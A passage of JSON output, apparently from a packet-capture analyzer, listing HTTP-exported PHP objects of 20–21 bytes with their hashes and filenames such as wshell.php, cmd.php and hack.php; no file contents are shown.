        "artifact_id": "artifact-52dceb3c3b524f315fc064a4",
        "occurrences": 2,
        "completeness": "unknown",
        "static_features": {
          "pe_kind": null,
          "features": [],
          "content_kind": "unclassified",
          "interpretation": "Static content only; not proof of execution, intent, or malware family",
          "inspected_bytes": 21,
          "inspection_truncated": false
        },
        "extraction_method": "tshark-http-export-objects",
        "transfers_truncated": false,
        "content_retained_by_analyzer": false
      },
      {
        "md5": "5a4c292fdfa58a2a8b8b2d271cd0eed2",
        "sha1": "1b40fb7f91dde6ee8b18215780c19751f948dcea",
        "type": "http-exported-object",
        "sha256": "22d4e4edf6b669157f4d8b960b07e51f5d1189b481fe0d6c069c4a9c2e9b62f8",
        "evidence": [],
        "filename": "lmn.php",
        "filenames": [
          "lmn.php"
        ],
        "transfers": [],
        "hash_scope": "exact exported bytes; may be partial or content-decoded, not necessarily the original server file",
        "media_type": "application/octet-stream",
        "size_bytes": 21,
        "artifact_id": "artifact-14eacec4caf6b496be58316e",
        "occurrences": 1,
        "completeness": "unknown",
        "static_features": {
          "pe_kind": null,
          "features": [],
          "content_kind": "unclassified",
          "interpretation": "Static content only; not proof of execution, intent, or malware family",
          "inspected_bytes": 21,
          "inspection_truncated": false
        },
        "extraction_method": "tshark-http-export-objects",
        "transfers_truncated": false,
        "content_retained_by_analyzer": false
      },
      {
        "md5": "be6ce975f51c14436687a4fea99b2839",
        "sha1": "4e26816281fd8dbcdab084fde0f451cce98332f9",
        "type": "http-exported-object",
        "sha256": "2c3906c7ad9f0f1a719ed2c92169e63d1e38c077da8fd49870ff9fc5f86253d6",
        "evidence": [],
        "filename": "app(2).php",
        "filenames": [
          "app(2).php",
          "help(1).php"
        ],
        "transfers": [],
        "hash_scope": "exact exported bytes; may be partial or content-decoded, not necessarily the original server file",
        "media_type": "application/octet-stream",
        "size_bytes": 21,
        "artifact_id": "artifact-e2baab43e5f158ee5af81851",
        "occurrences": 2,
        "completeness": "unknown",
        "static_features": {
          "pe_kind": null,
          "features": [],
          "content_kind": "unclassified",
          "interpretation": "Static content only; not proof of execution, intent, or malware family",
          "inspected_bytes": 21,
          "inspection_truncated": false
        },
        "extraction_method": "tshark-http-export-objects",
        "transfers_truncated": false,
        "content_retained_by_analyzer": false
      },
      {
        "md5": "142b9dda2a3be9b83ac514d40e8ef6c9",
        "sha1": "5a08dc02eb99a99c60d60deae34bac868a42b8e0",
        "type": "http-exported-object",
        "sha256": "472d1c07fb6fa554f291c056580ee3b57ccc6f1eb3acde8c114f0e9d072ebcdd",
        "evidence": [],
        "filename": "2(2).php",
        "filenames": [
          "2(2).php",
          "cc.php",
          "dexgp.php",
          "hello.php",
          "qq(10).php",
          "x(1).php",
          "z(1).php"
        ],
        "transfers": [],
        "hash_scope": "exact exported bytes; may be partial or content-decoded, not necessarily the original server file",
        "media_type": "application/octet-stream",
        "size_bytes": 21,
        "artifact_id": "artifact-233199c7ea6a19780c1f7806",
        "occurrences": 7,
        "completeness": "unknown",
        "static_features": {
          "pe_kind": null,
          "features": [],
          "content_kind": "unclassified",
          "interpretation": "Static content only; not proof of execution, intent, or malware family",
          "inspected_bytes": 21,
          "inspection_truncated": false
        },
        "extraction_method": "tshark-http-export-objects",
        "transfers_truncated": false,
        "content_retained_by_analyzer": false
      },
      {
        "md5": "4c14f54e4c517f23eb29fac3b6ef67a3",
        "sha1": "ed322e53431250c578920490719a49cec0e5567c",
        "type": "http-exported-object",
        "sha256": "7c9a5898114672ea44e5499fe2119e49e88c5b0c42b002fbbe01bc82fa13a5f8",
        "evidence": [],
        "filename": "777.php",
        "filenames": [
          "777.php"
        ],
        "transfers": [],
        "hash_scope": "exact exported bytes; may be partial or content-decoded, not necessarily the original server file",
        "media_type": "application/octet-stream",
        "size_bytes": 21,
        "artifact_id": "artifact-3ca1669f1a7d26537002a52b",
        "occurrences": 1,
        "completeness": "unknown",
        "static_features": {
          "pe_kind": null,
          "features": [],
          "content_kind": "unclassified",
          "interpretation": "Static content only; not proof of execution, intent, or malware family",
          "inspected_bytes": 21,
          "inspection_truncated": false
        },
        "extraction_method": "tshark-http-export-objects",
        "transfers_truncated": false,
        "content_retained_by_analyzer": false
      },
      {
        "md5": "7a60dd4e40f5101b9203cc2484e4acdd",
        "sha1": "c991983784cb5314bcacd165c626c3cba5cdec24",
        "type": "http-exported-object",
        "sha256": "900438cb86786337c0c7533823217981533629ea950a672198920fc20a4c89a7",
        "evidence": [],
        "filename": "general.php",
        "filenames": [
          "general.php"
        ],
        "transfers": [],
        "hash_scope": "exact exported bytes; may be partial or content-decoded, not necessarily the original server file",
        "media_type": "application/octet-stream",
        "size_bytes": 21,
        "artifact_id": "artifact-d964cbcd4fe17c84d1302fd6",
        "occurrences": 1,
        "completeness": "unknown",
        "static_features": {
          "pe_kind": null,
          "features": [],
          "content_kind": "unclassified",
          "interpretation": "Static content only; not proof of execution, intent, or malware family",
          "inspected_bytes": 21,
          "inspection_truncated": false
        },
        "extraction_method": "tshark-http-export-objects",
        "transfers_truncated": false,
        "content_retained_by_analyzer": false
      },
      {
        "md5": "dd241044c6d5c7c6fcb46b262d60a07a",
        "sha1": "6fbb0dad35f92f9c9e91cc91d6bc505544c24936",
        "type": "http-exported-object",
        "sha256": "9ef810f8bb32ec089c435d94fc83bb1641adbda32a06e2205b9d71d1930177ed",
        "evidence": [],
        "filename": "s1.php",
        "filenames": [
          "s1.php"
        ],
        "transfers": [],
        "hash_scope": "exact exported bytes; may be partial or content-decoded, not necessarily the original server file",
        "media_type": "application/octet-stream",
        "size_bytes": 21,
        "artifact_id": "artifact-8f728369200e5bee6360f3f3",
        "occurrences": 1,
        "completeness": "unknown",
        "static_features": {
          "pe_kind": null,
          "features": [],
          "content_kind": "unclassified",
          "interpretation": "Static content only; not proof of execution, intent, or malware family",
          "inspected_bytes": 21,
          "inspection_truncated": false
        },
        "extraction_method": "tshark-http-export-objects",
        "transfers_truncated": false,
        "content_retained_by_analyzer": false
      },
      {
        "md5": "4aecf54ef395daf5cb50e18a7a130248",
        "sha1": "04311c80ca3e90f85b7eeaa9b9b7fd18efafaca4",
        "type": "http-exported-object",
        "sha256": "a51f236fe8f0dde786a894678e91927d9f070882454c731a7344c0080695e262",
        "evidence": [],
        "filename": "test123.php",
        "filenames": [
          "test123.php"
        ],
        "transfers": [],
        "hash_scope": "exact exported bytes; may be partial or content-decoded, not necessarily the original server file",
        "media_type": "application/octet-stream",
        "size_bytes": 21,
        "artifact_id": "artifact-da34d15aa515b5d03f612f79",
        "occurrences": 1,
        "completeness": "unknown",
        "static_features": {
          "pe_kind": null,
          "features": [],
          "content_kind": "unclassified",
          "interpretation": "Static content only; not proof of execution, intent, or malware family",
          "inspected_bytes": 21,
          "inspection_truncated": false
        },
        "extraction_method": "tshark-http-export-objects",
        "transfers_truncated": false,
        "content_retained_by_analyzer": false
      },
      {
        "md5": "61d2b0050f28a2f20580e1c40ad8132f",
        "sha1": "75c449aebbeec21dd4f532a4bc0276b6b76ed0db",
        "type": "http-exported-object",
        "sha256": "a698bbd9e222f8414d7cb89daad8a4e958d913f2af91e11838d94ad7a1c293ad",
        "evidence": [],
        "filename": "wshell.php",
        "filenames": [
          "wshell.php"
        ],
        "transfers": [],
        "hash_scope": "exact exported bytes; may be partial or content-decoded, not necessarily the original server file",
        "media_type": "application/octet-stream",
        "size_bytes": 21,
        "artifact_id": "artifact-439c08c6eb990317e918ec55",
        "occurrences": 1,
        "completeness": "unknown",
        "static_features": {
          "pe_kind": null,
          "features": [],
          "content_kind": "unclassified",
          "interpretation": "Static content only; not proof of execution, intent, or malware family",
          "inspected_bytes": 21,
          "inspection_truncated": false
        },
        "extraction_method": "tshark-http-export-objects",
        "transfers_truncated": false,
        "content_retained_by_analyzer": false
      },
      {
        "md5": "4dbeca4fe8fc6e0520b52241cdad7903",
        "sha1": "348cd70e088b177ae5898a234b3d0f23e1b699f4",
        "type": "http-exported-object",
        "sha256": "c48e6733b3802d1bbf20444cd7379191ce0fa375f7fd5496b74af4c9433c21ac",
        "evidence": [],
        "filename": "sql.php",
        "filenames": [
          "sql.php"
        ],
        "transfers": [],
        "hash_scope": "exact exported bytes; may be partial or content-decoded, not necessarily the original server file",
        "media_type": "application/octet-stream",
        "size_bytes": 21,
        "artifact_id": "artifact-4646c7779df897c51d2881a8",
        "occurrences": 1,
        "completeness": "unknown",
        "static_features": {
          "pe_kind": null,
          "features": [],
          "content_kind": "unclassified",
          "interpretation": "Static content only; not proof of execution, intent, or malware family",
          "inspected_bytes": 21,
          "inspection_truncated": false
        },
        "extraction_method": "tshark-http-export-objects",
        "transfers_truncated": false,
        "content_retained_by_analyzer": false
      },
      {
        "md5": "c9f7a423190beb3195eff95533992921",
        "sha1": "631ebf88c0719894293bdddd3a7b106d3d9b6cd0",
        "type": "http-exported-object",
        "sha256": "ca6d88dbd1c94ff8a71cdee9a85e4a256f45b2b46a97adbeaf650d252798c0cb",
        "evidence": [],
        "filename": "1(10).php",
        "filenames": [
          "1(10).php",
          "pma.php"
        ],
        "transfers": [],
        "hash_scope": "exact exported bytes; may be partial or content-decoded, not necessarily the original server file",
        "media_type": "application/octet-stream",
        "size_bytes": 21,
        "artifact_id": "artifact-dd6ffe2bf8e22df6ee3c0535",
        "occurrences": 2,
        "completeness": "unknown",
        "static_features": {
          "pe_kind": null,
          "features": [],
          "content_kind": "unclassified",
          "interpretation": "Static content only; not proof of execution, intent, or malware family",
          "inspected_bytes": 21,
          "inspection_truncated": false
        },
        "extraction_method": "tshark-http-export-objects",
        "transfers_truncated": false,
        "content_retained_by_analyzer": false
      },
      {
        "md5": "7c6b010c413ab99f5516d86a13ef3ab9",
        "sha1": "179d062446ed160e6257b8e04c123fdaa98daab4",
        "type": "http-exported-object",
        "sha256": "cedc5ec45dfeb1038a22da675c2e39f81bc4ac92edb6d8855ada19c5b408676d",
        "evidence": [],
        "filename": "xx.php",
        "filenames": [
          "xx.php"
        ],
        "transfers": [],
        "hash_scope": "exact exported bytes; may be partial or content-decoded, not necessarily the original server file",
        "media_type": "application/octet-stream",
        "size_bytes": 21,
        "artifact_id": "artifact-e35a945f9bf310d13d2745b3",
        "occurrences": 1,
        "completeness": "unknown",
        "static_features": {
          "pe_kind": null,
          "features": [],
          "content_kind": "unclassified",
          "interpretation": "Static content only; not proof of execution, intent, or malware family",
          "inspected_bytes": 21,
          "inspection_truncated": false
        },
        "extraction_method": "tshark-http-export-objects",
        "transfers_truncated": false,
        "content_retained_by_analyzer": false
      },
      {
        "md5": "0e6bcc12eb79a7a1581f9817a057cc81",
        "sha1": "6d51a6c1084e4358aae7f62dc582d470e4651a60",
        "type": "http-exported-object",
        "sha256": "df68b2a3ded8ac0bbb5df2004cb70fcf2af56e207c70b360e6b5a19a28792640",
        "evidence": [],
        "filename": "ppx.php",
        "filenames": [
          "ppx.php"
        ],
        "transfers": [],
        "hash_scope": "exact exported bytes; may be partial or content-decoded, not necessarily the original server file",
        "media_type": "application/octet-stream",
        "size_bytes": 21,
        "artifact_id": "artifact-07b4b08e0f6b990fe8d4a46b",
        "occurrences": 1,
        "completeness": "unknown",
        "static_features": {
          "pe_kind": null,
          "features": [],
          "content_kind": "unclassified",
          "interpretation": "Static content only; not proof of execution, intent, or malware family",
          "inspected_bytes": 21,
          "inspection_truncated": false
        },
        "extraction_method": "tshark-http-export-objects",
        "transfers_truncated": false,
        "content_retained_by_analyzer": false
      },
      {
        "md5": "331111020e02fb94968a31603d7e2491",
        "sha1": "b23542d8a589069b73175793f857fd7ccbe85b2a",
        "type": "http-exported-object",
        "sha256": "e4e9a66087f77e4a064a175c3fb36f3259617ff72fb2e12d08cb375f985f327b",
        "evidence": [],
        "filename": "1hou.php",
        "filenames": [
          "1hou.php",
          "789056.php",
          "abc776.php",
          "afafaf.php",
          "ceshi.php",
          "htfr.php",
          "jyyy.php",
          "linuxse.php",
          "ooo23.php",
          "tomcat.php",
          "zshmindex.php",
          "zuo.php",
          "zuoindex.php",
          "zuos.php",
          "zuoshou.php",
          "zuoshss.php",
          "zuoss.php"
        ],
        "transfers": [],
        "hash_scope": "exact exported bytes; may be partial or content-decoded, not necessarily the original server file",
        "media_type": "application/octet-stream",
        "size_bytes": 21,
        "artifact_id": "artifact-eefad3abc68743eff6be097e",
        "occurrences": 17,
        "completeness": "unknown",
        "static_features": {
          "pe_kind": null,
          "features": [],
          "content_kind": "unclassified",
          "interpretation": "Static content only; not proof of execution, intent, or malware family",
          "inspected_bytes": 21,
          "inspection_truncated": false
        },
        "extraction_method": "tshark-http-export-objects",
        "transfers_truncated": false,
        "content_retained_by_analyzer": false
      },
      {
        "md5": "d870cb7c63da17eb9bf7638dd8859206",
        "sha1": "29e9202ef057d14aedad907698acc112d83dad28",
        "type": "http-exported-object",
        "sha256": "f49f38b80f1b42ea04d040dfe84b546eab5046ff1cebc46220048e81331e77af",
        "evidence": [],
        "filename": "51314.php",
        "filenames": [
          "51314.php"
        ],
        "transfers": [],
        "hash_scope": "exact exported bytes; may be partial or content-decoded, not necessarily the original server file",
        "media_type": "application/octet-stream",
        "size_bytes": 21,
        "artifact_id": "artifact-dd5470ef5d84263caaa62868",
        "occurrences": 1,
        "completeness": "unknown",
        "static_features": {
          "pe_kind": null,
          "features": [],
          "content_kind": "unclassified",
          "interpretation": "Static content only; not proof of execution, intent, or malware family",
          "inspected_bytes": 21,
          "inspection_truncated": false
        },
        "extraction_method": "tshark-http-export-objects",
        "transfers_truncated": false,
        "content_retained_by_analyzer": false
      },
      {
        "md5": "d2c75757b586ba53d35363a3d208c734",
        "sha1": "23171549a08e5d44e69c8bb6908d42bf8bac3039",
        "type": "http-exported-object",
        "sha256": "f5cbe4a6f56982e8cb5aa5c59c396cd2e3a556aa7701781787471eb89abb67cc",
        "evidence": [],
        "filename": "1(6).php",
        "filenames": [
          "1(6).php",
          "a.php",
          "aaa(4).php",
          "bak.php",
          "cmd(3).php",
          "data.php",
          "hack(1).php",
          "hack.php",
          "lm.php",
          "neko.php",
          "qq(8).php",
          "system(2).php",
          "ver.php",
          "wcp.php",
          "x(3).php",
          "xiaoma.php",
          "xiaomae.php",
          "xiaomar.php"
        ],
        "transfers": [],
        "hash_scope": "exact exported bytes; may be partial or content-decoded, not necessarily the original server file",
        "media_type": "application/octet-stream",
        "size_bytes": 21,
        "artifact_id": "artifact-c614e89035326723bc556d80",
        "occurrences": 18,
        "completeness": "unknown",
        "static_features": {
          "pe_kind": null,
          "features": [],
          "content_kind": "unclassified",
          "interpretation": "Static content only; not proof of execution, intent, or malware family",
          "inspected_bytes": 21,
          "inspection_truncated": false
        },
        "extraction_method": "tshark-http-export-objects",
        "transfers_truncated": false,
        "content_retained_by_analyzer": false
      },
      {
        "md5": "f2ea091940d2e2bb7b42afc90a33ee06",
        "sha1": "a45a76af18f03b1bed4b00d0f4a45311c7c593d8",
        "type": "http-exported-object",
        "sha256": "f5e735af8b829508f30b65ecee7c9b7e1d2dcf9a2542ea8e993dfc1dccf6afc0",
        "evidence": [],
        "filename": "ooo(2).php",
        "filenames": [
          "ooo(2).php",
          "sss.php",
          "u(1).php",
          "u.php",
          "uuu(2).php"
        ],
        "transfers": [],
        "hash_scope": "exact exported bytes; may be partial or content-decoded, not necessarily the original server file",
        "media_type": "application/octet-stream",
        "size_bytes": 21,
        "artifact_id": "artifact-8cbcdecd8f09a71c06861575",
        "occurrences": 5,
        "completeness": "unknown",
        "static_features": {
          "pe_kind": null,
          "features": [],
          "content_kind": "unclassified",
          "interpretation": "Static content only; not proof of execution, intent, or malware family",
          "inspected_bytes": 21,
          "inspection_truncated": false
        },
        "extraction_method": "tshark-http-export-objects",
        "transfers_truncated": false,
        "content_retained_by_analyzer": false
      },
      {
        "md5": "dd3c6eeab69bebb9be6cac8237a339ca",
        "sha1": "02998b490a7c8686387c68de7ec4b7565902914f",
        "type": "http-exported-object",
        "sha256": "04eebbc1d0c8d07eaa429c4676f1a4d4147ed6e434b051f8404b5750977f9be9",
        "evidence": [],
        "filename": "no.php",
        "filenames": [
          "no.php"
        ],
        "transfers": [],
        "hash_scope": "exact exported bytes; may be partial or content-decoded, not necessarily the original server file",
        "media_type": "application/octet-stream",
        "size_bytes": 20,
        "artifact_id": "artifact-ff3a5ffd1ec6adb0e91357b7",
        "occurrences": 1,
        "completeness": "unknown",
        "static_features": {
          "pe_kind": null,
          "features": [],
          "content_kind": "unclassified",
          "interpretation": "Static content only; not proof of execution, intent, or malware family",
          "inspected_bytes": 20,
          "inspection_truncated": false
        },
        "extraction_method": "tshark-http-export-objects",
        "transfers_truncated": false,
        "content_retained_by_analyzer": false
      },
      {
        "md5": "dce592224e29536fc272ee9b9dece6bb",
        "sha1": "a8e6f2534afe38bc1db93f0711731f3e3fb633bd",
        "type": "http-exported-object",
        "sha256": "244de61d3491edb765abb93fe7f8f5548aad63f7b27b8b4aa64a2b83085f8fa2",
        "evidence": [],
        "filename": "hm.php",
        "filenames": [
          "hm.php",
          "sz.php"
        ],
        "transfers": [],
        "hash_scope": "exact exported bytes; may be partial or content-decoded, not necessarily the original server file",
        "media_type": "application/octet-stream",
        "size_bytes": 20,
        "artifact_id": "artifact-ef7a49b61ea975adbcc5a714",
        "occurrences": 2,
        "completeness": "unknown",
        "static_features": {
          "pe_kind": null,
          "features": [],
          "content_kind": "unclassified",
          "interpretation": "Static content only; not proof of execution, intent, or malware family",
          "inspected_bytes": 20,
          "inspection_truncated": false
        },
        "extraction_method": "tshark-http-export-objects",
        "transfers_truncated": false,
        "content_retained_by_analyzer": false
      },
      {
        "md5": "bfe4c4199622ffc9d7956ad819a6611a",
        "sha1": "60171c7030a4b627c1a5e61d09f028971a24b1fa",
        "type": "http-exported-object",
        "sha256": "2a88a2d5883c65f59114dd74a75d1d734d0fdee531d3119ed5c8ecc1c11f42e8",
        "evidence": [],
        "filename": "92.php",
        "filenames": [
          "92.php"
        ],
        "transfers": [],
        "hash_scope": "exact exported bytes; may be partial or content-decoded, not necessarily the original server file",
        "media_type": "application/octet-stream",
        "size_bytes": 20,
        "artifact_id": "artifact-ef409aca8a93892d1c100b84",
        "occurrences": 1,
        "completeness": "unknown",
        "static_features": {
          "pe_kind": null,
          "features": [],
          "content_kind": "unclassified",
          "interpretation": "Static content only; not proof of execution, intent, or malware family",
          "inspected_bytes": 20,
          "inspection_truncated": false
        },
        "extraction_method": "tshark-http-export-objects",
        "transfers_truncated": false,
        "content_retained_by_analyzer": false
      },
      {
        "md5": "39129891fb8613f6d68a8456fe0811d6",
        "sha1": "4ac19166eafc393a769c4d0304caee1d29ddda6f",
        "type": "http-exported-object",
        "sha256": "3171503cd3eb4ced940a1d0ef36312eca824a055b66bc54ce295a2433a165e25",
        "evidence": [],
        "filename": "xiaomo.php",
        "filenames": [
          "xiaomo.php"
        ],
        "transfers": [],
        "hash_scope": "exact exported bytes; may be partial or content-decoded, not necessarily the original server file",
        "media_type": "application/octet-stream",
        "size_bytes": 20,
        "artifact_id": "artifact-6d94b70f47670aec56ba3823",
        "occurrences": 1,
        "completeness": "unknown",
        "static_features": {
          "pe_kind": null,
          "features": [],
          "content_kind": "unclassified",
          "interpretation": "Static content only; not proof of execution, intent, or malware family",
          "inspected_bytes": 20,
          "inspection_truncated": false
        },
        "extraction_method": "tshark-http-export-objects",
        "transfers_truncated": false,
        "content_retained_by_analyzer": false
      },
      {
        "md5": "895c01ac9502b852d93e261d43a93ec7",
        "sha1": "d7c9d9c5b2e62e5540928c4451ccb660c60a031b",
        "type": "http-exported-object",
        "sha256": "45ecec3bdf32d519c20bd147b7b36a42c802ee3d33ca614cdfa667c82e4d8a60",
        "evidence": [],
        "filename": "yj.php",
        "filenames": [
          "yj.php"
        ],
        "transfers": [],
        "hash_scope": "exact exported bytes; may be partial or content-decoded, not necessarily the original server file",
        "media_type": "application/octet-stream",
        "size_bytes": 20,
        "artifact_id": "artifact-a27c642d878a7b00296f8562",
        "occurrences": 1,
        "completeness": "unknown",
        "static_features": {
          "pe_kind": null,
          "features": [],
          "content_kind": "unclassified",
          "interpretation": "Static content only; not proof of execution, intent, or malware family",
          "inspected_bytes": 20,
          "inspection_truncated": false
        },
        "extraction_method": "tshark-http-export-objects",
        "transfers_truncated": false,
        "content_retained_by_analyzer": false
      },
      {
        "md5": "716143c944620e6e01e9c005bc1d0955",
        "sha1": "dac2bb8dbb1ea8ebfce751a53755c2453ed9ebe5",
        "type": "http-exported-object",
        "sha256": "52f2375e9e406350794211299e6da748359401606995e965fdc62f0ce45fefbc",
        "evidence": [],
        "filename": "cmd(5).php",
        "filenames": [
          "cmd(5).php"
        ],
        "transfers": [],
        "hash_scope": "exact exported bytes; may be partial or content-decoded, not necessarily the original server file",
        "media_type": "application/octet-stream",
        "size_bytes": 20,
        "artifact_id": "artifact-060a5384d489dae20e7fd7f1",
        "occurrences": 1,
        "completeness": "unknown",
        "static_features": {
          "pe_kind": null,
          "features": [],
          "content_kind": "unclassified",
          "interpretation": "Static content only; not proof of execution, intent, or malware family",
          "inspected_bytes": 20,
          "inspection_truncated": false
        },
        "extraction_method": "tshark-http-export-objects",
        "transfers_truncated": false,
        "content_retained_by_analyzer": false
      },
      {
        "md5": "f73e03d9d53642c6e287c42189f75ca2",
        "sha1": "9737a9874dbd8155577ff3fef6de1d3549331c7d",
        "type": "http-exported-object",
        "sha256": "69b8076030fcadb25b8153706a27ad847ffbb8af4e00f178019f67731c688c20",
        "evidence": [],
        "filename": "fack.php",
        "filenames": [
          "fack.php"
        ],
        "transfers": [],
        "hash_scope": "exact exported bytes; may be partial or content-decoded, not necessarily the original server file",
        "media_type": "application/octet-stream",
        "size_bytes": 20,
        "artifact_id": "artifact-5493cbe655aeadacc70d161b",
        "occurrences": 1,
        "completeness": "unknown",
        "static_features": {
          "pe_kind": null,
          "features": [],
          "content_kind": "unclassified",
          "interpretation": "Static content only; not proof of execution, intent, or malware family",
          "inspected_bytes": 20,
          "inspection_truncated": false
        },
        "extraction_method": "tshark-http-export-objects",
        "transfers_truncated": false,
        "content_retained_by_analyzer": false
      },
      {
        "md5": "f29228cf8fcf6fee8de0a7d5f8338270",
        "sha1": "f6c971e2b47bafbc3a9aab6865489fb2e55f53d9",
        "type": "http-exported-object",
        "sha256": "a899107f2aeb1173d0ca1f5c56a67df994e9dc8e2b38d14abca67e7cabaac2d8",
        "evidence": [],
        "filename": "mz.php",
        "filenames": [
          "mz.php"
        ],
        "transfers": [],
        "hash_scope": "exact exported bytes; may be partial or content-decoded, not necessarily the original server file",
        "media_type": "application/octet-stream",
        "size_bytes": 20,
        "artifact_id": "artifact-7c67d00bf9ea1e65c3e3e199",
        "occurrences": 1,
        "completeness": "unknown",
        "static_features": {
          "pe_kind": null,
          "features": [],
          "content_kind": "unclassified",
          "interpretation": "Static content only; not proof of execution, intent, or malware family",
          "inspected_bytes": 20,
          "inspection_truncated": false
        },
        "extraction_method": "tshark-http-export-objects",
        "transfers_truncated": false,
        "content_retained_by_analyzer": false
      },
      {
        "md5": "840ceb315f4720e83db5763556f5c587",
        "sha1": "187edd11552c599f7b1065e6318522971e51d315",
        "type": "http-exported-object",
        "sha256": "b34276d8134d9ba52e9ff67f193b34c76e97f28e791f965f86108fd0360ef764",
        "evidence": [],
        "filename": "zzz(3).php",
        "filenames": [
          "zzz(3).php"
        ],
        "transfers": [],
        "hash_scope": "exact exported bytes; may be partial or content-decoded, not necessarily the original server file",
        "media_type": "application/octet-stream",
        "size_bytes": 20,
        "artifact_id": "artifact-fa4da317d81e753f8332b38c",
        "occurrences": 1,
        "completeness": "unknown",
        "static_features": {
          "pe_kind": null,
          "features": [],
          "content_kind": "unclassified",
          "interpretation": "Static content only; not proof of execution, intent, or malware family",
          "inspected_bytes": 20,
          "inspection_truncated": false
        },
        "extraction_method": "tshark-http-export-objects",
        "transfers_truncated": false,
        "content_retained_by_analyzer": false
      },
      {
        "md5": "1c28c4d7b107a54ed99b43948481e948",
        "sha1": "8fd7385ba9549dde3d6f60a41e635ac349196cf8",
        "type": "http-exported-object",
        "sha256": "ba1f895b79ddd4458c3fd2f0721ce08e44618c415277b3bca26e58c2d6990ba1",
        "evidence": [],
        "filename": "post.php",
        "filenames": [
          "post.php"
        ],
        "transfers": [],
        "hash_scope": "exact exported bytes; may be partial or content-decoded, not necessarily the original server file",
        "media_type": "application/octet-stream",
        "size_bytes": 20,
        "artifact_id": "artifact-6c6ee0ec6d355940b8adaadf",
        "occurrences": 1,
        "completeness": "unknown",
        "static_features": {
          "pe_kind": null,
          "features": [],
          "content_kind": "unclassified",
          "interpretation": "Static content only; not proof of execution, intent, or malware family",
          "inspected_bytes": 20,
          "inspection_truncated": false
        },
        "extraction_method": "tshark-http-export-objects",
        "transfers_truncated": false,
        "content_retained_by_analyzer": false
      },
      {
        "md5": "1332d9755aefdc3d5c8d87daa9568438",
        "sha1": "90c72ab0487a8381bce91f112adae171b26d6792",
        "type": "http-exported-object",
        "sha256": "d865a258acf829c542f35fca5931a773daac3d1a5109d6b6d5d78793ec244ba6",
        "evidence": [],
        "filename": "qq(6).php",
        "filenames": [
          "qq(6).php",
          "xx(2).php"
        ],
        "transfers": [],
        "hash_scope": "exact exported bytes; may be partial or content-decoded, not necessarily the original server file",
        "media_type": "application/octet-stream",
        "size_bytes": 20,
        "artifact_id": "artifact-8daef64ee63e109e9a1fb5ad",
        "occurrences": 2,
        "completeness": "unknown",
        "static_features": {
          "pe_kind": null,
          "features": [],
          "content_kind": "unclassified",
          "interpretation": "Static content only; not proof of execution, intent, or malware family",
          "inspected_bytes": 20,
          "inspection_truncated": false
        },
        "extraction_method": "tshark-http-export-objects",
        "transfers_truncated": false,
        "content_retained_by_analyzer": false
      },
      {
        "md5": "9cc109d1414b37a178413efdbacf75aa",
        "sha1": "f4e133323e828580fb82fd612c9e53119639270b",
        "type": "http-exported-object",
        "sha256": "dbf0d0abe58f7dd74438929ab8dea07e5bf6beb6b648667e3c76fbd10f825db0",
        "evidence": [],
        "filename": "xiaoyu.php",
        "filenames": [
          "xiaoyu.php"
        ],
        "transfers": [],
        "hash_scope": "exact exported bytes; may be partial or content-decoded, not necessarily the original server file",
        "media_type": "application/octet-stream",
        "size_bytes": 20,
        "artifact_id": "artifact-2076a723f9e88139555496b8",
        "occurrences": 1,
        "completeness": "unknown",
        "static_features": {
          "pe_kind": null,
          "features": [],
          "content_kind": "unclassified",
          "interpretation": "Static content only; not proof of execution, intent, or malware family",
          "inspected_bytes": 20,
          "inspection_truncated": false
        },
        "extraction_method": "tshark-http-export-objects",
        "transfers_truncated": false,
        "content_retained_by_analyzer": false
      },
      {
        "md5": "c4548673aff6cd1efc6ad7193b83ef1c",
        "sha1": "ba27901bfc86d44a6ba3393e718616589967ca41",
        "type": "http-exported-object",
        "sha256": "de82cfb9dcaa44def410601aa958c737e74e451c058b8c964e33f1c5d01bb124",
        "evidence": [],
        "filename": "xshell.php",
        "filenames": [
          "xshell.php"
        ],
        "transfers": [],
        "hash_scope": "exact exported bytes; may be partial or content-decoded, not necessarily the original server file",
        "media_type": "application/octet-stream",
        "size_bytes": 20,
        "artifact_id": "artifact-5d1dc83ab06e3b4e3250e64b",
        "occurrences": 1,
        "completeness": "unknown",
        "static_features": {
          "pe_kind": null,
          "features": [],
          "content_kind": "unclassified",
          "interpretation": "Static content only; not proof of execution, intent, or malware family",
          "inspected_bytes": 20,
          "inspection_truncated": false
        },
        "extraction_method": "tshark-http-export-objects",
        "transfers_truncated": false,
        "content_retained_by_analyzer": false
      },
      {
        "md5": "bd793d9c7a9b113b73cfc0486070389a",
        "sha1": "92ec2e40dd85f42b4822233b86bc8d498217d50b",
        "type": "http-exported-object",
        "sha256": "ee0baf8858675f8e670d5f1e3f9945ed1120eccde1c24be5cafc1e251637aa47",
        "evidence": [],
        "filename": "qq(2).php",
        "filenames": [
          "qq(2).php"
        ],
        "transfers": [],
        "hash_scope": "exact exported bytes; may be partial or content-decoded, not necessarily the original server file",
        "media_type": "application/octet-stream",
        "size_bytes": 20,
        "artifact_id": "artifact-5fc40caeb77eaa97fa033750",
        "occurrences": 1,
        "completeness": "unknown",
        "static_features": {
          "pe_kind": null,
          "features": [],
          "content_kind": "unclassified",
          "interpretation": "Static content only; not proof of execution, intent, or malware family",
          "inspected_bytes": 20,
          "inspection_truncated": false
        },
        "extraction_method": "tshark-http-export-objects",
        "transfers_truncated": false,
        "content_retained_by_analyzer": false
      },
      {
        "md5": "0657651cc3dc9a5ce5468bbdf2fcdb8e",
        "sha1": "bb3cd26bb696b9330368f96f32a3bd2251ff054b",
        "type": "http-exported-object",
        "sha256": "f0ec8b0238af53aa86c9cba9f94ce4c4d93e4e4b26a4b8478b9d04b909ccf900",
        "evidence": [],
        "filename": "aw.php",
        "filenames": [
          "aw.php"
        ],
        "transfers": [],
        "hash_scope": "exact exported bytes; may be partial or content-decoded, not necessarily the original server file",
        "media_type": "application/octet-stream",
        "size_bytes": 20,
        "artifact_id": "artifact-6ca45457edc8d8b8ab6782e4",
        "occurrences": 1,
        "completeness": "unknown",
        "static_features": {
          "pe_kind": null,
          "features": [],
          "content_kind": "unclassified",
          "interpretation": "Static content only; not proof of execution, intent, or malware family",
          "inspected_bytes": 20,
          "inspection_truncated": false
        },
        "extraction_method": "tshark-http-export-objects",
        "transfers_truncated": false,
        "content_retained_by_analyzer": false
      },
      {
        "md5": "14490b9fea280e125e69f4902078d9bb",
        "sha1": "b9c0f1d6cb192baf3abb277f61d338cc23c7e3d5",
        "type": "http-exported-object",
        "sha256": "fd392dc065349461b88b41e02c8a6376cc92a8420e9349aac77a0000170d783f",
        "evidence": [],
        "filename": "bx.php",
        "filenames": [
          "bx.php"
        ],
        "transfers": [],
        "hash_scope": "exact exported bytes; may be partial or content-decoded, not necessarily the original server file",
